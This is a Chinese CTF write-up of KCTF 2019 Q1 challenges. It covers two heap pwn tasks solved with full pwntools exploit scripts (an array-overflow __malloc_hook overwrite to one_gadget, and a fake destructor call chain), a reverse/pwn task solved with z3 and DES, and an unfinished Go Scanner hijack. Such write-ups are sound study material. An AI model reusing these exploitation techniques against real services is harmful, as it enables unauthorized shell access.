KCTF 2019 Q1

我果然还是不太适合这种长时间作战
开赛第一天周末抢了两个pwn一血,然后就没有时间做题了
学校大二事情真多,第一周抽时间又做了一个repwn,简单分析了go pwn,第二周就彻底没有时间了,不过究其原因还是太菜
go pwn占坑,等到完全读完go的内存分配机制再来写

1
My ID: 梅零落

0x01 拯救单身狗

一血,happy

Analyze

比较显然的两个点:
两个edit函数只判断指针是否存在,没有判断输入的int范围:
(为了符合理解,我把one和two rename交换了一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 edit_singledog()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("which?");
v1 = read_int();
if ( one[v1] ) // 数组溢出
{
puts("Oh,singledog,changing your name can bring you good luck.");
read(0, (void *)one[v1], 0x20uLL);
printf("new name: %s", one[v1]);
}
else
{
puts("nothing here");
}
return __readfsqword(0x28u) ^ v2;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 edit_luckydog()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("which?");
v1 = read_int();
if ( two[v1] )
{
puts("Oh,luckydog,What is your new name?");
read(0, (void *)(two[v1] + 8LL), 0x18uLL);
puts("your partner's new name");
read(0, *(void **)two[v1], 0x20uLL);
}
else
{
puts("nothing here");
}
return __readfsqword(0x28u) ^ v2;
}

edit_singledog()不存在\x00截断,导致很容易leak

1
2
3
puts("Oh,singledog,changing your name can bring you good luck.");
read(0, (void *)one[v1], 0x20uLL);
printf("new name: %s", one[v1]);

注意到标准错误stderr在两个数组上方,可以通过leak IO_FILE的 _IO_read_ptr来leak libc
因为two的结构体:struct{str *partner name; str own name;}
而后只需要在one中构造一个singledog的name为p64(malloc_hook_addr)
在 edit_luckydog() 时就可以利用数组溢出,在edit partner name时即会改写malloc_hook
将其改为one_gadget_addr,在再次create一次便可get shell
还有一点,这里libc版本未知,我是通过首先远程leak出一个 _IO_read_ptr ,而后改变本地libc版本,找到相同末位偏移的libc版本(2.27)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *


context.log_level="debug"

def create1(name):
p.sendlineafter(">>\n","1")
p.sendafter("Name:\n",name)

def create2(name1,name2):
p.sendlineafter(">>\n","2")
p.sendafter("Name\n",name1)
p.sendafter("name\n",name2)

def edit1(index,name):
p.sendlineafter(">>\n","3")
p.sendlineafter("?\n",str(index))
p.sendafter("luck.\n",name)

def edit2(index,name1,name2):
p.sendlineafter(">>\n","4")
p.sendlineafter("?\n",str(index))
p.sendafter("?\n",name1)
p.sendafter("name\n",name2)

def fake():
p.sendlineafter(">>\n","5")

#p=process("./apwn")
p=remote("211.159.175.39",8686)
create1("kirin")
create1("kirin")
create2("kirin","kirin")
create2("kirin","kirin")
fake()
fake()
create1("1")
edit1(0,"1")
p.recvuntil("new name: ")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x31
print hex(heap_addr)
edit1(-4,"11111111")
p.recvuntil("11111111")
libc_addr=u64(p.recv(6).ljust(8,"\x00"))-0x3ec703
one_gadget=libc_addr+0x10a38c
malloc_hook=libc_addr+0x3ebc30
create1(p64(malloc_hook))
print hex(libc_addr)
edit2(-79,"kirin",p64(one_gadget))
#gdb.attach(p)
p.sendlineafter(">>\n","1")
p.interactive()

0x02 C与C++

一血,again

Analyze

这里提供了两种malloc和free方式
两种分配方式都会每16字节进行一次存储,每一块包含function_ptr(析构)+16bytes string(c对应的func设为0,c++为&400F20)
不同点:
c++对应的分配会在chunk起始写入字节被分割的数目,但c不会:
c
c++

正是这种偏差,当我们用c方式malloc一个chunk,但是用c++进行free时
在c++对应的free:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __fastcall delete_func(__int64 a1)
{
void (***v1)(); // rdx
void (***v2)(); // rbx
void (*v3)(); // rax

v1 = (void (***)())ptr[a1];
if ( v1 )
{
v2 = &v1[3 * (_QWORD)*(v1 - 1)];
while ( v2 != v1 )
{
while ( 1 )
{
v2 -= 3;
v3 = **v2;
if ( v3 == nullsub_1 )
break;
((void (__fastcall *)(void (***)()))v3)(v2);
v1 = (void (***)())ptr[a1];
if ( v2 == v1 )
goto LABEL_6;
}
}
LABEL_6:
operator delete[](v2 - 1);
}
ptr[a1] = 0LL;
}

其会把chunk size当做分割数定位结束位置:

1
v2 = &v1[3 * (_QWORD)*(v1 - 1)];

但这样显然会远超过本chunk
所以当我们在目标位置写入一个指向其他函数的指针时(这里可以考虑在name处写入一个func addr,这样在目标地址写入name的地址,就会最终调用我们需要的function),当调用完这个函数v2指针减三,此处我们依然可控……,由此便可生成一条调用链:
leak libc->main func
回到main函数后依然利用此漏洞来调用one_gadget
由此便可get shell
注意leak问题:
在输出menu时有个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void menu()
{
int v0; // eax

puts("1. malloc");
puts("2. free");
puts("3. new");
puts("4. delete");
puts("5. puts");
puts("6. exit");
__printf_chk(1LL, (__int64)">> ");
if ( v0 == 0xDEADBEEF )
leak();
}

当v0=0xDEADBEEF时调用,实际无法调用(至少没有直接方法)
但是进入此函数:

1
2
3
4
5
6
7
void leak()
{
signed __int64 v0; // [rsp-8h] [rbp-8h]

v0 = '\np%';
__printf_chk(0LL, (__int64)&v0);
}

发现他可以leak一个地址
当我们写入调用链,其会输出libc中的一个地址
由此选择此函数进行leak

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.log_level="debug"

def malloc(length,note):
p.sendlineafter(">> ","1")
p.sendlineafter("string\n",str(length))
p.sendafter("string\n",note)

def delete(index):
p.sendlineafter(">> ","4")
p.sendlineafter("string\n",str(index))

#p=process("./candcpp")
p=remote("154.8.222.144",9999)
p.sendlineafter("name: ",p64(0x400e10)+p64(0x4009a0))
malloc(8,"kirin\n")
fake=(p64(0x602330)*2)[:15]
malloc(0x1f0,"a"*0x1b3+fake+p64(0x602328)*2+"\n")
delete(0)
libc_addr=int(p.recv(0xf),16)-0x6f690
print hex(libc_addr)
p.sendlineafter("name: ",p64(libc_addr+0xf02a4))
malloc(8,"kirin\n")
fake=(p64(0x602330)*2)[:15]
malloc(0x1f0,"a"*0x1c2+p64(0x602328)*2+"\n")
delete(2)
p.interactive()

0x03 Repwn

首先从第八位对预定义字符串进行比较:

1
2
3
4
5
6
7
.text:00401350                 movzx   eax, byte ptr [edx+ebp-38h]
.text:00401355 cmp al, [ecx+ebx]
.text:00401358 jnz short loc_40136C
.text:0040135A inc edx
.text:0040135B inc ecx
.text:0040135C cmp edx, 0Bh
.text:0040135F jle short loc_401350

即X1Y0uN3t
而后在sub_401460中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl sub_401460(char *Str)
{
char Dest; // [esp+8h] [ebp-10h]

if ( strlen(Str) == 0x18 )
{
if ( sub_4013B0((int)Str) )
{
Str[20] -= 88;
Str[21] -= 70;
Str[22] -= 3;
Str[23] -= 107;
strcpy(&Dest, Str);
}
}
else
{
printf("String Length is Wrong");
}
return 0;
}

首先判断了字符串长度
而后进入sub_4013B0,是几个方程判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl sub_4013B0(int a1)
{
int v1; // ebx
int v2; // ecx
int v3; // esi
int result; // eax

str_to_num(a1);
v1 = num[3] + 1000 * num[0] + 100 * num[1] + 10 * num[2];
v2 = num[5] + 10 * num[4];
v3 = num[7] + 10 * num[6];
result = 2 * (v1 + v2);
if ( result == 0xFC8 )
{
result = 3 * v2 / 2;
if ( result + 100 * v3 == 0x73 )
{
result = 1;
if ( v1 - 110 * v3 != 0x76C )
result = printf("Key_Is_Wrong,Please_Input_Again!");
}
}
return result;
}

大致推测前八位为十进制字符且分成三个数v1,v2,v3,而后由方程组解出三个数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from z3 import *

x=Int('x')
y=Int('y')
z=Int('z')
solver=Solver()
solver.add((2*(x+y))%0xffffffff==0xfc8)
solver.add((2*(x+y))%0xffffffff==0xfc8)
solver.add((3*y/2+100*z)%0xffffffff==0x73)
solver.add((x-110*z)%0xffffffff==0x76c)
solver.add(x<9999)
solver.add(y<99)
solver.add(x>0)
solver.add(y>0)
solver.add(z>0)
solver.add(z<99)
print(solver.check())
print(solver.model())

得到:

1
2
sat
[z = 1, y = 10, x = 2010]

即前面8位为20101001
最后可以看到最后:

1
2
3
4
5
Str[20] -= 88;
Str[21] -= 70;
Str[22] -= 3;
Str[23] -= 107;
strcpy(&Dest, Str);

存在溢出,类似2017年的一题
需要我们跳到另一处判断
我是通过字符串引用看到sub_4018B0处代码
上层引用看到401BF0处代码未定义,且有printf和system等操作(可疑)

1
2
3
4
5
6
7
8
9
10
key=[
0xf0, 0x1b, 0x40, 0x00
]
key[0]+=88
key[1]+=70
key[2]+=3
key[3]+=107
for i in key:
x+=chr(i%256)
print x

可以得到最后4字节HaCk
输入20101001X1Y0uN3tG00d即可跳到另一处加密
会再次输入并检测字符串,这里通过程序流的关键处理步骤,(好像PiED的插件也可以)可以看出是DES加密,密钥为XiyouNet(开始我把子秘钥位置当做密钥二进制卡了一大会,犯傻了):

1
2
3
4
5
6
7
8
from Crypto.Cipher import DES

key = 'XiyouNet'
kirin=DES.new(key,DES.MODE_ECB)
s=kirin.decrypt("\x9d\xb0\x84\xac\x97\x04\x1e\x30")
print s
#Wel1C0me
#Currect,Flag_Format_Is_Input1+Input2

第二步字符串:Wel1C0me

0x04 挖宝

先说明一个错误思路:
首先通过字符串判断是个go程序,使用golanghelper恢复符号表:
符号表
首先可以看到四个宝藏位置:(0,5),(5,0),(5,5),第4个没想到办法绕
当获得宝藏后会调用main_treasure:

1
2
3
4
5
6
while ( (unsigned __int64)&retaddr <= *(_QWORD *)(__readfsqword(0xFFFFFFF8) + 16) )
a3 = runtime_morestack_noctxt(note, a2, a4);
main_print(a3, a4, note, a2, a5, r9_0, (__int64)"Please leave a message >> ", 26LL);
main_scan(note, a2, v7, v8, v9, v10);
v17 = main_memcpy(note, a2, v11, v12, v13, v14, a6, v15, v16);
return main_println(v17, v18, note, a2, v19, v20, (__int64)"Please continue your journey!", 29LL);

即获取一次输入并copy到预先分配的一个位置,而这个位置分配的空间大小为0x30,因此这里存在溢出(具体go的内存分配机制可以在网上找到)
继续看可以发现main_scan内:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while ( 1 )
{
v6 = __readfsqword(0xFFFFFFF8);
if ( (unsigned __int64)&retaddr > *(_QWORD *)(v6 + 16) )
break;
runtime_morestack_noctxt(a1, a2, a3);
}
bufio__ptr_Scanner_Scan(a1, a2, a3, v6, a5, a6, io_arg);
v10 = io_arg;
v15 = 0LL;
v16 = 0LL;
if ( !io_arg )
*(_DWORD *)io_arg = io_arg;
v12 = *(_OWORD *)(v10 + 0x20);
v13 = *(_QWORD *)(v10 + 0x30);
runtime_slicebytetostring((__int64)&v12, a2, v7, v13, v8, v9, 0LL, (const __m128i *)v12, *((__int64 *)&v12 + 1));
return v14;

注意到一个Scanner结构体io_arg,动态调试看到其分配位置0xC820018080(在本地开启随机化调试也会一直是此地址,基本上go内部实现的栈空间地址不会改变,但是通过pwntools启动地址会不同(虽然也不改变),不太明白为什么),这个位置距离溢出位置0x00000C8200122D0不是太远,调试中可以看到能被覆盖,在go的源码中看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
type Scanner struct {
r io.Reader // The reader provided by the client.
split SplitFunc // The function to split the tokens.
maxTokenSize int // Maximum size of a token; modified by tests.
token []byte // Last token returned by split.
buf []byte // Buffer used as argument to split.
start int // First non-processed byte in buf.
end int // End of data in buf.
err error // Sticky error.
empties int // Count of successive empty tokens.
scanCalled bool // Scan has been called; buffer is in use.
done bool // Scan has finished.
}

可以看到其包含了两个函数指针,在ida中也可以看到有两处可以利用函数指针劫持程序流(bufio__ptr_Scanner_Scan函数):
1:

1
2
3
4
5
6
7
8
9
10
11
12
mov     [rsp+1B8h+var_18], r10
mov [rsp+1B8h+var_1B8], r10 ; 1
mov [rsp+1B8h+var_10], r8
mov [rsp+1B8h+var_1B0], r8
mov [rsp+1B8h+var_8], r9
mov [rsp+1B8h+var_1A8], r9
mov rbp, [rax+60h]
cmp rbp, 0
setnz byte ptr [rsp+1B8h+var_1A0]
mov rdx, [rax+10h]
mov rbx, [rdx]
call rbx

2:

1
2
3
4
5
6
7
8
9
10
11
mov     [rsp+1B8h+var_48], r10
mov [rsp+1B8h+var_1B0], r10
mov [rsp+1B8h+var_40], r8
mov [rsp+1B8h+var_1A8], r8
mov [rsp+1B8h+var_38], r9
mov [rsp+1B8h+var_1A0], r9
mov [rsp+1B8h+var_A0], rbp
mov [rsp+1B8h+var_1B8], rbp
mov [rsp+1B8h+var_A8], rcx
mov rbx, [rcx+20h]
call rbx

所以我们根据对应条件来覆盖函数指针并劫持程序流即可,不过很容易发现,一旦覆盖,原本应该调用os__ptr_File_Read来获取输入流,覆盖后就完全没有办法控制程序,所以这里需要保证可以直接获取shell,观察程序,看到了go内部实现的syscall_Syscall:

1
2
3
4
5
6
7
8
9
call    runtime_entersyscall
mov rdi, [rsp+arg_8]
mov rsi, [rsp+arg_10]
mov rdx, [rsp+arg_18]
xor r10d, r10d
xor r8d, r8d
xor r9d, r9d
mov rax, [rsp+arg_0]
syscall

可以看到这里会根据栈中参数调用syscall
但是因为地址随机化,只能在go本身分配的栈中(地址确定)找是否含有此函数的指针,在0x00000C820000200处会一直存在syscall_Syscall+5
syscall

1
2
3
4
5
6
7
8
mov     rdi, [rsp+arg_8]
mov rsi, [rsp+arg_10]
mov rdx, [rsp+arg_18]
xor r10d, r10d
xor r8d, r8d
xor r9d, r9d
mov rax, [rsp+arg_0]
syscall

不过最后我卡在了参数构造上,最接近的构造结果时syscall(0x3b,”/bin/sh”,……,……),后面还需要两个参数(0,0),但是通过源码和静态汇编都可以看出没办法实现(源码详见/src/bufio/scan.go)(不排除有办法但是我审错了,但是实在没时间看了)
最后结果:
syscall
可以看到因为后面两个参数无法控制失败了,不过确实劫持了程序流到伪造的syscall_Syscall
虽然失败了,不过想来以后这个可能能用上,先记下来
实际上如果有leak,leak程序加载基址后完全可以伪造整个Scanner结构体造成任意地址写(buf可控),而栈地址已知,后面很简单就可以拿shell,或者leak libc后直接one_gadget来获得shell都可以,不过没想到leak方法才采取syscall方案,感觉预期解是利用go内存分配机制伪造span list指针啥的,不过没想到好的利用技巧,再加上时间上的不允许,只试验了这个方法
等抽时间彻底看完go的内存分配机制再来更新